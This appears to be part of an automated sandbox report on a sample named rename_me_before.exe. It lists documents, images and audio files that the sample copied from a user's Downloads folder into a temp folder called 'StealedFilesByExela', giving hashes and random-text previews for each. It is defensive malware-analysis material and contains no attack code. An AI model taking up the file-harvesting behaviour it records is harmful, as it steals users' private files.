QDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
